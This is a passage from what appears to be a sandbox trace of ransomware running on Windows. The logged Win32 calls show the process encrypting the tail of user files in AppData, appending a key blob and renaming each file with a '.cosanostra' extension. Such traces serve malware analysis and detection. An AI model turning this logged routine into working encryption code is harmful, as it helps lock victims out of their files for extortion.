lpNumberOfBytesWritten=0x26ff28c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff28c*=0x30, lpOverlapped=0x0) returned 1 [0101.365] CloseHandle (hObject=0x180) returned 1 [0101.366] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5TxhdJpsU9PhPRXS.csv.cosanostra") returned 81 [0101.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5TxhdJpsU9PhPRXS.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5txhdjpsu9phprxs.csv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5TxhdJpsU9PhPRXS.csv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5txhdjpsu9phprxs.csv.cosanostra")) returned 1 [0101.367] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2c8 | out: pbBuffer=0x26ff2c8) returned 1 [0101.367] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2c0*=0x30) returned 1 [0101.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\30lcQn0QPXyhPNaEvY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\30lcqn0qpxyhpnaevy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0101.368] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\30lcQn0QPXyhPNaEvY.png") returned 72 [0101.368] StrStrW (lpFirst="30lcQn0QPXyhPNaEvY.png", lpSrch=".txt") returned 0x0 [0101.369] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.369] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff284, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff284*=0x2800, lpOverlapped=0x0) returned 1 [0101.369] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.370] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff284, lpOverlapped=0x0 | out: lpBuffer=0x26ff2c4*, lpNumberOfBytesWritten=0x26ff284*=0x4, lpOverlapped=0x0) returned 1 [0101.370] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff284, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff284*=0x30, lpOverlapped=0x0) returned 1 [0101.370] CloseHandle (hObject=0x180) returned 1 [0101.370] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\30lcQn0QPXyhPNaEvY.png.cosanostra") returned 83 [0101.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\30lcQn0QPXyhPNaEvY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\30lcqn0qpxyhpnaevy.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\30lcQn0QPXyhPNaEvY.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\30lcqn0qpxyhpnaevy.png.cosanostra")) returned 1 [0101.394] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2b8 | out: pbBuffer=0x26ff2b8) returned 1 [0101.394] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2b0*=0x30) returned 1 [0101.394] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0101.395] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned 87 [0101.395] StrStrW (lpFirst="jre1.7.0_45.msi", lpSrch=".txt") returned 0x0 [0101.399] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.399] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff274, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff274*=0x2800, lpOverlapped=0x0) returned 1 [0101.400] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.400] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff274, lpOverlapped=0x0 | out: lpBuffer=0x26ff2b4*, lpNumberOfBytesWritten=0x26ff274*=0x4, lpOverlapped=0x0) returned 1 [0101.429] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff274, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff274*=0x30, lpOverlapped=0x0) returned 1 [0101.429] CloseHandle (hObject=0x180) returned 1 [0101.429] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.cosanostra") returned 98 [0101.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi.cosanostra")) returned 1 [0101.728] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2a8 | out: pbBuffer=0x26ff2a8) returned 1 [0101.729] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2a0*=0x30) returned 1 [0101.729] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0101.730] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned 69 [0101.730] StrStrW (lpFirst="au.msi", lpSrch=".txt") returned 0x0 [0101.733] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.733] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff264, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff264*=0x2800, lpOverlapped=0x0) returned 1 [0101.733] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.733] WriteFile (in: hFile=0x180, lpBuffer=0x26ff2a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff264, lpOverlapped=0x0 | out: lpBuffer=0x26ff2a4*, lpNumberOfBytesWritten=0x26ff264*=0x4, lpOverlapped=0x0) returned 1 [0101.780] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff264, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff264*=0x30, lpOverlapped=0x0) returned 1 [0101.781] CloseHandle (hObject=0x180) returned 1 [0101.781] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.cosanostra") returned 80 [0101.781] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.cosanostra")) returned 1 [0101.782] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2a8 | out: pbBuffer=0x26ff2a8) returned 1 [0101.782] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff2a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff2a0*=0x30) returned 1 [0101.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.782] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff2a0 | out: pbBuffer=0x26ff2a0) returned 1 [0101.782] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff298*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff298*=0x30) returned 1 [0101.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.783] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff298 | out: pbBuffer=0x26ff298) returned 1 [0101.783] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff290*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff290*=0x30) returned 1 [0101.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.784] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff298 | out: pbBuffer=0x26ff298) returned 1 [0101.784] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff290*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff290*=0x30) returned 1 [0101.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\uv0duwvb\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.784] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff290 | out: pbBuffer=0x26ff290) returned 1 [0101.784] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff288*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff288*=0x30) returned 1 [0101.784] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0101.785] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned 97 [0101.785] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0101.882] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0101.882] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff24c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff24c*=0x2800, lpOverlapped=0x0) returned 1 [0101.882] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.882] WriteFile (in: hFile=0x180, lpBuffer=0x26ff28c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff24c, lpOverlapped=0x0 | out: lpBuffer=0x26ff28c*, lpNumberOfBytesWritten=0x26ff24c*=0x4, lpOverlapped=0x0) returned 1 [0101.883] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff24c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff24c*=0x30, lpOverlapped=0x0) returned 1 [0101.883] CloseHandle (hObject=0x180) returned 1 [0101.883] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.cosanostra") returned 108 [0101.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.cosanostra")) returned 1 [0101.884] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff290 | out: pbBuffer=0x26ff290) returned 1 [0101.884] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff288*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff288*=0x30) returned 1 [0101.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.140] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 152 [0102.140] StrStrW (lpFirst="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpSrch=".txt") returned 0x0 [0102.141] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.141] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x18e, lpNumberOfBytesWritten=0x26ff24c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff24c*=0x18e, lpOverlapped=0x0) returned 1 [0102.141] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.141] WriteFile (in: hFile=0x160, lpBuffer=0x26ff28c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff24c, lpOverlapped=0x0 | out: lpBuffer=0x26ff28c*, lpNumberOfBytesWritten=0x26ff24c*=0x4, lpOverlapped=0x0) returned 1 [0102.142] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff24c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff24c*=0x30, lpOverlapped=0x0) returned 1 [0102.142] CloseHandle (hObject=0x160) returned 1 [0102.142] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585.cosanostra") returned 163 [0102.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585.cosanostra")) returned 1 [0102.144] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff288 | out: pbBuffer=0x26ff288) returned 1 [0102.144] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff280*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff280*=0x30) returned 1 [0102.145] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.145] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 152 [0102.145] StrStrW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", lpSrch=".txt") returned 0x0 [0102.146] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.146] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x26ff244, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff244*=0x1a0, lpOverlapped=0x0) returned 1 [0102.146] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.146] WriteFile (in: hFile=0x160, lpBuffer=0x26ff284*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff244, lpOverlapped=0x0 | out: lpBuffer=0x26ff284*, lpNumberOfBytesWritten=0x26ff244*=0x4, lpOverlapped=0x0) returned 1 [0102.147] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff244, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff244*=0x30, lpOverlapped=0x0) returned 1 [0102.147] CloseHandle (hObject=0x160) returned 1 [0102.147] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8.cosanostra") returned 163 [0102.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_b89a63ac6877bd1ed812438ce82c3eb8.cosanostra")) returned 1 [0102.148] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff288 | out: pbBuffer=0x26ff288) returned 1 [0102.148] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff280*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff280*=0x30) returned 1 [0102.148] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.149] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 152 [0102.149] StrStrW (lpFirst="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpSrch=".txt") returned 0x0 [0102.149] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffe60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.150] WriteFile (in: hFile=0x160, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x26ff244, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff244*=0x1a0, lpOverlapped=0x0) returned 1 [0102.150] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.150] WriteFile (in: hFile=0x160, lpBuffer=0x26ff284*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff244, lpOverlapped=0x0 | out: lpBuffer=0x26ff284*, lpNumberOfBytesWritten=0x26ff244*=0x4, lpOverlapped=0x0) returned 1 [0102.150] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff244, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff244*=0x30, lpOverlapped=0x0) returned 1 [0102.150] CloseHandle (hObject=0x160) returned 1 [0102.152] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS 